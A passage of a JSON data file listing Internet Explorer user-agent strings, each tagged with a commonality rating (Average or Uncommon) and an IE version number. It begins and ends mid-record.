FunWebProducts)\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident\\/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident\\/4.0; GTB7.5; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Average\",\"version\":\"6\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) NS8\\/0.9.6\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322; .NET4.0C)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident\\/7.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; Tablet PC 2.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; EIE10;ENCAMSN; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; FBSMTWB; FunWebProducts; GTB7.5; chromeframe\\/32.0.1700.107; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident\\/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0; InfoPath.3)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident\\/5.0;\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; Trident\\/7.0; Touch; MASAJS; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident\\/5.0; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident\\/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; Zune 4.7)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; GTB7.4; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET4.0C; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.2; Windows NT 5.1; SV1; .NET CLR 1.1.4322)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; MALN)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident\\/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; MATBJS)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; managedpc; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64; Trident\\/7.0; LCJB; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; BRI\\/1; IE0006_ver1;EN_US)\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT) ::ELNSB50::000061100320025802a00111000000000507000900000000\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; InfoPath.1)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 4.6 (build 01425); MRSPUTNIK 1, 5, 0, 19 SW)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident\\/7.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3; MANMJS)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; Trident\\/7.0; NMTE; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64; Trident\\/7.0; Touch; MALNJS; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.0; WOW64; Trident\\/6.1)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Trident\\/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; InfoPath.3)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident\\/6.0; EIE10;ENUSMSE)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; Trident\\/7.0; MASBJS; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.1.4322; .NET4.0C; .NET4.0E; InfoPath.3)\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident\\/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident\\/7.0; Touch; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; ARM; Trident\\/7.0; Touch; rv:11.0; WPDesktop; NOKIA; Lumia 530) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; KKman2.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; MATP; MATP; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64; Trident\\/7.0; Touch; MASMJS; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident\\/5.0; MDDSJS)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; MASP; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows XP)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident\\/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; McAfee; BRI\\/2; MALNJS)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident\\/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident\\/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; SLCC2; Media Center PC 6.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident\\/5.0; BOIE9;ENUSMSE)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident\\/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident\\/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; McAfee; MDDCJS)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64; Trident\\/7.0; Touch; MATBJS; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; MS-RTC LM 8)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:QUALIFIED)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Trident\\/7.0; EIE10;ENUSWOL; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; rv:11.0) like Gecko,gzip(gfe)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; MS-RTC LM 8; InfoPath.3)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; Tablet PC 2.0; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; ASJB; ASJB; MAAU; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; BRI\\/1)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident\\/5.0; BOIE9;DEDE)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; EIE11;ENGBWOL; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; SIMBAR={2FBE5593-D26F-11E1-8A9B-0016416E2C54}; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; AskTbORJ\\/5.15.23.36191)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 1.1.4322; WinNT-EVI 19.12.2009; AskTbEPC\\/5.14.1.20007; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 1.1.4322; WinTSI 07.11.2009; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; yie8)\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; iCafeMedia; .NET CLR 2.0.50727; CIBA)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; Trident\\/7.0; MDDSJS; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.3)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; Trident\\/7.0; rv:11.0; i-Macros-Web-Automation) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/4.0 (Compatible; Windows NT 5.1; MSIE 6.0) (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; GTB7.5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.3; WOW64; Trident\\/7.0; Touch; .NET4.0E; .NET4.0C; Tablet PC 2.0; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident\\/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident\\/6.0; EIE10;ENGBWOL)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident\\/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Zune 4.0; Tablet PC 2.0; InfoPath.3; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident\\/4.0; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; Trident\\/7.0; AS; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident\\/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:QUALIFIED)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; MS-RTC LM 8)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; ARM; Trident\\/7.0; Touch; rv:11.0; WPDesktop; Lumia 635; BOOST) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; CMDTDF; .NET4.0C; .NET4.0E; Tablet PC 2.0; BRI\\/2; InfoPath.3)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; HPDTDF; .NET4.0C; browseforchangetoolbar_browseforchange)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; chromeframe\\/30.0.1599.69; GTB7.5; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; WinNT-EVI 12.01.2010; MS-RTC LM 8; .NET CLR 2.0.50727; lib\\/5.0\\\\0195; Engine\\/4.00195; 89670803)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident\\/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; McAfee)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/5.0; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; EIE10;ENGBMSN; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident\\/7.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident\\/5.0; BOIE9;ENUSSEM)\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; MAFSJS; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident\\/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident\\/5.0; BOIE9;FIFI)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; CMDTDF; .NET CLR 1.1.4322)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 8.0; Windows NT 6.1; WebCruiser\\/3.5)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident\\/5.0; MATP)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident\\/5.0; EIE10;ENUSWOL)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident\\/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; McAfee)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; Trident\\/7.0; MASMJS; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; WebMoney Advisor)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MDDC; BRI\\/1; .NET4.0C; playbrytetoolbar_Playbryte; Tablet PC 2.0; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MDDC; .NET4.0C; .NET4.0E; McAfee)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 